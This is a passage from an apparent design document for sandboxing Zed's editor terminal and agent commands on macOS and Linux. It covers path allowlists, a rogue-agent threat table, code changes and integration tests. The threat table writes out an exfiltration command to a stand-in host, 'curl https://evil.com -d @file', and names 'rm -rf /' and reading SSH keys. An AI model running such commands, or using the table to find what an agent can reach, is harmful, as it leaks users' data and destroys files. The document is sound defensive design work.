`/opt/homebrew/sbin` | Homebrew-installed tools (Apple Silicon) | User-installed binaries. Can only affect files within writable sandbox paths. | +| `/opt/homebrew/Cellar` | Actual Homebrew formula files (binaries within need exec) | Read+exec only. | +| `/opt/homebrew/lib` | Homebrew shared libraries (`.dylib`) | Read+exec for dynamic linking. | +| `/usr/local/bin`, `/usr/local/lib` | Intel Homebrew / manually installed tools and libraries | Same as `/opt/homebrew/*`. | + +#### `read_only` + +| Path | Why | Security notes | +|---|---|---| +| `/private/etc` (aliased as `/etc`) | Shell configs (`zshrc`, `profile`, `paths`, `paths.d/*`), DNS (`resolv.conf`, `hosts`, `nsswitch.conf`), SSL certs (`ssl/cert.pem`, `ssl/certs/`), user database (`passwd`, `group`), `ld.so.cache`. | World-readable on a normal macOS system. `/etc/passwd` contains usernames and home dirs but not passwords. A rogue agent can read DNS server IPs from `resolv.conf`. | +| `/usr/share` | Terminfo database, zsh functions/completions, locale data, man pages, misc data | Static data files. No risk. | +| `/System/Library/Keychains` | System root certificates and trust settings | Read-only. Needed for TLS certificate verification. | +| `/Library/Developer/CommandLineTools/SDKs` | macOS SDK headers and libraries | Large but read-only. Needed by compilers. | +| `/Library/Preferences/SystemConfiguration` | Network configuration (proxy settings) | Read-only. Reveals network config. | +| `/opt/homebrew/share`, `/opt/homebrew/etc` | Homebrew shared data and config | Read-only. | +| `/usr/local/share`, `/usr/local/etc` | Intel Homebrew shared data and config | Read-only. | + +#### `read_write` + +| Path | Why | Security notes | +|---|---|---| +| `/dev` | Device nodes: `/dev/null`, `/dev/zero`, `/dev/urandom`, `/dev/random` (kernel pseudo-devices), `/dev/tty` (controlling terminal), `/dev/pty*` and `/dev/tty*` (PTY devices for the terminal itself) | Zero risk for pseudo-devices. PTY access is required for the shell to function. | +| `/private/tmp` (aliased as `/tmp`) | Temp files. Compilers, build tools, `mktemp` all use this. | **Medium concern.** Any process on the system can read `/tmp`. A rogue agent could write data here that other processes might read, or read temp files from other processes. But this is true of any process on the system today. The sandbox doesn't make this worse. | +| `/var/folders` | Per-user temp/cache directory (contains `$TMPDIR`). Compilers (`rustc`, `clang`) write intermediate files here. | Same concern as `/tmp` but slightly more contained (per-user). Without write access here, most compilation fails. | +| `/private/var/run/mDNSResponder` | Unix domain socket for macOS DNS resolution. All DNS lookups on macOS go through `mDNSResponder`. | Required if `allow_network` is true. The socket only accepts DNS queries. | + +### Linux defaults + +#### `executable` (read + execute) + +| Path | Why | Security notes | +|---|---|---| +| `/usr/bin` | Standard tools (`bash`, `zsh`, `git`, `grep`, `make`, etc.) | Distro-packaged signed binaries. Same as macOS `/usr/bin`. | +| `/usr/sbin` | System admin tools | Rarely needed. `sudo` won't work due to `NO_NEW_PRIVS`. | +| `/usr/lib`, `/usr/lib64` | Shared libraries (glibc, libssl, libcurl, etc.). **Must be executable** because `mmap(PROT_EXEC)` is how shared libraries are loaded by `ld-linux.so`. | No write access. | +| `/lib`, `/lib64` | Core libraries (glibc, `ld-linux.so`). On many modern distros these symlink to `/usr/lib`. | Same as `/usr/lib`. | +| `/usr/libexec` | Helper binaries (git sub-commands, etc.) | Same as `/usr/bin`. | +| `/bin`, `/sbin` | On older distros these are separate from `/usr/bin`. On modern distros they're symlinks. | Same as `/usr/bin`. | + +#### `read_only` + +| Path | Why | Security notes | +|---|---|---| +| `/etc` | Shell configs (`profile`, `bash.bashrc`, `profile.d/*`, `zsh/`), DNS (`resolv.conf`, `hosts`, `nsswitch.conf`, `gai.conf`), SSL certs (`ssl/certs/`, `pki/tls/`), `passwd`, `group`, `ld.so.cache`, `localtime`, `timezone`, `environment`, `shells` | Same as macOS. `/etc/shadow` (password hashes) is root-readable only, so the sandbox can't read it even with `/etc` allowed. | +| `/usr/share` | Terminfo, locale data, zoneinfo, man pages, git templates, zsh functions, `ca-certificates/` | Static data files. | +| `/usr/include` | C/C++ headers (needed by `-sys` crates with build scripts, `cc` crate) | Read-only. | +| `/usr/lib/locale` | Compiled locale data (`locale-archive`) | Read-only. | + +#### `read_write` + +| Path | Why | Security notes | +|---|---|---| +| `/dev` | Device nodes: `/dev/null`, `/dev/zero`, `/dev/urandom`, `/dev/random`, `/dev/tty`, `/dev/pts/` + `/dev/ptmx` (PTY allocation), `/dev/fd/` (symlink to `/proc/self/fd/`, needed for bash process substitution), `/dev/stdin`, `/dev/stdout`, `/dev/stderr` | Zero risk for pseudo-devices. PTY access required. On Landlock ABI v5+, `IOCTL_DEV` permission is also needed for terminal control operations on `/dev/tty` and `/dev/pts/*`. | +| `/tmp` | Temp files | Same concern as macOS `/tmp`. | +| `/var/tmp` | Persistent temp files (survive reboot) | Same. | +| `/dev/shm` | POSIX shared memory. Used by some IPC, Python multiprocessing. | Low-medium concern. SHM segments are visible across processes but have standard POSIX permissions. | +| `/run/user` | `$XDG_RUNTIME_DIR`. Used by D-Bus, systemd user services, some IPC sockets. | Per-user directory with `0700` permissions. | + +### User home directory paths + +On both platforms, shell config dotfiles are granted **read-only** access automatically (not via `system_paths` but as part of the sandbox setup logic). These are: + +- `~/.zshrc`, `~/.zshenv`, `~/.zprofile`, `~/.zlogin`, `~/.zlogout` +- `~/.bashrc`, `~/.bash_profile`, `~/.bash_login`, `~/.profile` +- `~/.inputrc`, `~/.terminfo` +- `~/.gitconfig` +- `~/.config/` (XDG config directory, read-only) + +**Security concern:** If a user's `.zshrc` or `.bashrc` contains secrets (API tokens, passwords in env var exports), the sandboxed process can read them. This is a real but unavoidable risk — without these files, the shell starts in a severely degraded state (no PATH modifications, no prompt, no aliases). Users should be advised not to store secrets in shell config files. + +### Paths NOT in any default baseline + +These paths are commonly needed but intentionally excluded. The user must explicitly add them: + +| Path | Why excluded | What breaks without it | How to add | +|---|---|---|---| +| `~/.ssh` | Contains private keys (`id_ed25519`, `id_rsa`). A rogue agent with read access could exfiltrate them. | `git clone git@github.com:...` fails (can't read keys). `ssh` to servers fails. | `"additional_read_only_paths": ["~/.ssh"]` | +| `~/.gnupg` | Contains GPG private keys | `git commit -S` (signed commits) fails. | `"additional_read_only_paths": ["~/.gnupg"]` | +| `~/.cargo/registry`, `~/.cargo/git` | Writable crate cache. Needed for downloading dependencies. | `cargo build` can't download new dependencies (reads from existing cache work if added as read-only). | `"additional_read_write_paths": ["~/.cargo/registry", "~/.cargo/git"]` | +| `~/.cargo/bin`, `~/.rustup/toolchains` | Rust toolchain binaries | `cargo`, `rustc` not found. | `"additional_executable_paths": ["~/.cargo/bin", "~/.rustup/toolchains"]` | +| `~/.npm`, `~/.cache` | Package manager caches | `npm install` can't cache. Various tools lose caching. | `"additional_read_write_paths": ["~/.npm", "~/.cache"]` | +| `~/.local/bin` | User-local binaries (`pip install --user`, etc.) | User-installed tools not found. | `"additional_executable_paths": ["~/.local/bin"]` | +| `~/.nvm`, `~/.volta`, `~/.pyenv`, `~/.rbenv`, `~/.asdf` | Language version managers | Managed language runtimes not found. | `"additional_executable_paths": ["~/.nvm"]` etc. | +| `~/Library/Keychains` (macOS) | macOS Keychain | Apps using Keychain for credential storage. | `"additional_read_only_paths": ["~/Library/Keychains"]` | + +--- + +## What a Rogue Agent Can and Cannot Do + +With the default baseline and no user-added paths: + +| Action | Allowed? | Why | +|---|---|---| +| Read/write files in the project directory | ✅ | That's the whole point. | +| Run `ls`, `cat`, `grep`, `git status` in the project | ✅ | System binaries in `/usr/bin` are executable. | +| Run `cargo build` | ❌ | Unless `~/.cargo/bin`, `~/.rustup/toolchains` (executable), `~/.cargo/registry`, `~/.cargo/git` (read+write) are in the allowlist. | +| Run `ls /Users/you/Documents` | ❌ | Not in any allowlist. | +| Run `cat /etc/passwd` | ✅ (read-only) | Needed for shell `~` expansion. Contains no secrets on modern systems. | +| Run `ssh remote-server` | ❌ | Unless `~/.ssh` is added as read-only. Can't read keys or config. | +| Exfiltrate data over the network | ✅ if `allow_network: true` | `curl https://evil.com -d @file` works — but can only read files within the sandbox. The most sensitive thing it could send is project source code. Set `allow_network: false` for maximum paranoia. | +| Run `sudo anything` | ❌ on Linux (`NO_NEW_PRIVS`), restricted on macOS (sandbox persists as root) | By design. | +| Write to `/usr/bin` or `/etc` | ❌ | Read-only or read+exec only. | +| Read `~/.ssh/id_ed25519` | ❌ | Not in default baseline. | +| Read `~/.zshrc` | ✅ (read-only) | In baseline for shell startup. If it contains secrets, that's a risk. | +| Modify `~/.zshrc` | ❌ | Read-only. | +| Create files in `/tmp` | ✅ | Needed for compilation and many tools. | +| Run `rm -rf /` | Partially succeeds on writable paths only | Can delete project files and temp files. Cannot touch system dirs, home dir (except project), or other users' files. | +| Read other users' home directories | ❌ | Not in any allowlist. | +| Install malware in `/usr/local/bin` | ❌ | Read+exec only, not writable. | + +--- + +## Code Changes Summary + +### In `crates/settings_content/src/terminal.rs` +- Add `SandboxSettingsContent`, `SystemPathsSettingsContent`, `SandboxApplyTo` structs. +- Add `pub sandbox: Option` to `ProjectTerminalSettingsContent`. + +### In `crates/terminal/src/terminal_settings.rs` +- Add resolved `SandboxConfig` and `ResolvedSystemPaths` types. +- Add `pub sandbox: Option` to `TerminalSettings`. +- Implement default resolution logic with `#[cfg]`-gated OS-specific defaults. + +### In `crates/terminal/src/terminal.rs` (`TerminalBuilder::new`) +- Read sandbox settings from `TerminalSettings`. +- When sandbox is enabled, filter env vars using the allowlist. +- Pass `SandboxConfig` through to `alacritty_terminal::tty::Options`. + +### In the alacritty fork (`alacritty_terminal/src/tty/mod.rs`) +- Add `pub sandbox: Option` to `Options`. + +### In the alacritty fork (`alacritty_terminal/src/tty/unix.rs`) +- In `from_fd()`, when `config.sandbox.is_some()`, call `builder.env_clear()` before setting env vars. +- In the `pre_exec` closure, after `set_controlling_terminal` and `close(slave_fd)/close(master_fd)`, but before signal setup, insert the platform-specific sandbox call. + +### New file: sandbox implementation (in the alacritty fork or in `crates/terminal/src/`) +- `sandbox_macos.rs`: Seatbelt FFI bindings + SBPL profile generation (~150 lines). +- `sandbox_linux.rs`: Landlock ruleset construction using the `landlock` crate (~120 lines). + +### In the alacritty fork's `Cargo.toml` +- Add `landlock = "0.4"` under `[target.'cfg(target_os = "linux")'.dependencies]`. + +### In `crates/acp_thread/src/terminal.rs` (`create_terminal_entity`) +- Check the `apply_to` setting to decide whether the agent terminal tool gets sandboxed. +- If yes, pass the `SandboxConfig` through to `TerminalBuilder::new()`. + +### In `crates/terminal/src/terminal.rs` or `crates/project/src/terminals.rs` +- In the user terminal creation path (`create_terminal_shell_internal` or equivalent), check `apply_to` to decide whether to pass `SandboxConfig`. + +### In `assets/settings/default.json` +- Add default sandbox settings (disabled by default) with documentation comments. + +--- + +## Integration Tests + +Integration tests live in `crates/terminal/src/sandbox_tests.rs`, gated on `#[cfg(test)]` and `#[cfg(unix)]`. They exercise the **real kernel sandbox** (not mocks) by spawning actual child processes and verifying OS enforcement. + +### Test helper + +A shared helper `run_sandboxed_command()` spawns a terminal via `TerminalBuilder::new()`, runs a shell command, waits for exit, and returns `(exit_status, output)`. It takes a `SandboxTestConfig` that controls whether sandboxing is enabled and which paths are allowed. + +A `create_test_directory()` helper creates a temp directory with known files for verification. + +### Test: `rm -rf` blocked by sandbox, allowed without + +Creates a target temp directory with files, and a separate project directory. Runs `rm -rf ` twice: + +1. **Sandboxed (sandbox enabled):** Verifies the target directory and all its files still exist afterward. The sandbox only grants write access to the project dir, not the target. +2. **Unsandboxed (sandbox disabled):** Verifies the target directory was deleted. This proves the sandbox was the reason it was blocked in run 1, not some other cause. + +### Test: Writes succeed inside the project directory + +With sandbox enabled, creates a file inside the project directory via `echo > file`. Verifies the file exists with the expected contents. Proves the sandbox doesn't over-restrict. + +### Test: Reads blocked outside the project + +Creates a "secret" file in a separate temp directory. With sandbox enabled, tries to `cat` it and redirect output to a file in the project dir. Verifies the output file either doesn't exist or doesn't contain the secret content. + +### Test: `additional_read_write_paths` grants access + +Creates an external temp directory. First runs a write command to it **without** it in `additional_read_write_paths` — verifies the write failed. Then runs the same command **with** it in `additional_read_write_paths` — verifies the write succeeded. + +### Test: `additional_read_only_paths` allows read, blocks write + +Creates a temp directory with an existing file containing known content. Adds it as a read-only path. + +1. Reads the file into the project dir — verifies the content matches (read works). +2. Tries to overwrite the file — verifies the original content is unchanged (write blocked). + +### Test: Env var filtering + +With sandbox enabled: + +1. Checks that `HOME` (in the default allowlist) is present in the child's environment. +2. Checks that `AWS_SECRET` (not in the allowlist) is absent. + +### Test: Network blocking (macOS only) + +With sandbox enabled and `allow_network: false`, tries `curl https://example.com`. Verifies the response does not contain the expected HTML content. + +### Test: Landlock graceful degradation (Linux only) + +Verifies that with sandbox enabled, a basic `echo` command succeeds — proving that the code path handles `RulesetStatus::NotEnforced` (or any status) gracefully without crashing. + +### Running the tests + +```sh +# macOS (tests Seatbelt) +cargo test -p terminal sandbox_tests + +# Linux (tests Landlock, needs kernel 5.13+) +cargo test -p terminal sandbox_tests +``` + +`--test-threads=1` is recommended for easier failure diagnosis, but parallel execution should also work since each test uses its own temp directories. + +--- + +## Open Questions and Future Work + +1. **Shell config secrets:** Should Zed warn the user if their `.zshrc` or `.bashrc` contains what looks like secrets (env var assignments with `KEY`, `TOKEN`, `SECRET`, `PASSWORD` in the name)? This is the most likely source of data leakage from the default baseline. + +2. **`$TMPDIR` on macOS:** The per-user temp directory (`/var/folders/...`) is dynamically assigned. The current plan allows the entire `/var/folders` tree. A tighter approach would resolve `$TMPDIR` at spawn time and only allow that specific subdirectory. + +3. **Symlink resolution:** Both Seatbelt and Landlock operate on real paths. If `/etc` is a symlink to `/private/etc` (as on macOS), both the symlink and the target may need to be in the allowlist. The SBPL `(subpath ...)` directive and Landlock's `PathFd` both follow symlinks, but this should be tested thoroughly. + +4. **Windows sandboxing:** Deferred to a future phase. The most viable options are: + - WSL2 + Landlock (real security, but Linux shell, not Windows shell). + - Sandboxie-Plus (real security, native Windows shell, but requires one-time kernel driver install by the user). + - AppContainer (real security, native Windows shell, but mutates DACLs on the host filesystem and requires cleanup). + +5. **Container-based isolation:** A future phase could offer opt-in container isolation using Apple's Containerization framework (macOS), native Linux namespaces + cgroups (Linux), or WSL2 (Windows). This provides stronger isolation (separate filesystem root, disposable writes) at the cost of requiring a base image/rootfs and losing the "native feel" on macOS. + +6. **Audit logging:** When a sandboxed process is denied access to a path, the denial is silent (the syscall fails with `EPERM`). It would be useful to surface these denials in Zed's UI (e.g., a notification or a log in the terminal panel) so users can understand why something failed and add the path to their allowlist. On macOS, sandbox violations are logged to the system log (`/var/log/system.log` or `log show --predicate 'eventMessage contains "Sandbox"'`). On Linux, Landlock ABI V7 (kernel 6.15+) adds audit logging. + +7. **Per-project sandbox settings:** The sandbox settings live in `ProjectTerminalSettingsContent`, which means they can be set in `.zed/settings.json` per project. A project could ship a `.zed/settings.json` that declares exactly which paths its build system needs, making it easy for contributors to get a working sandboxed setup.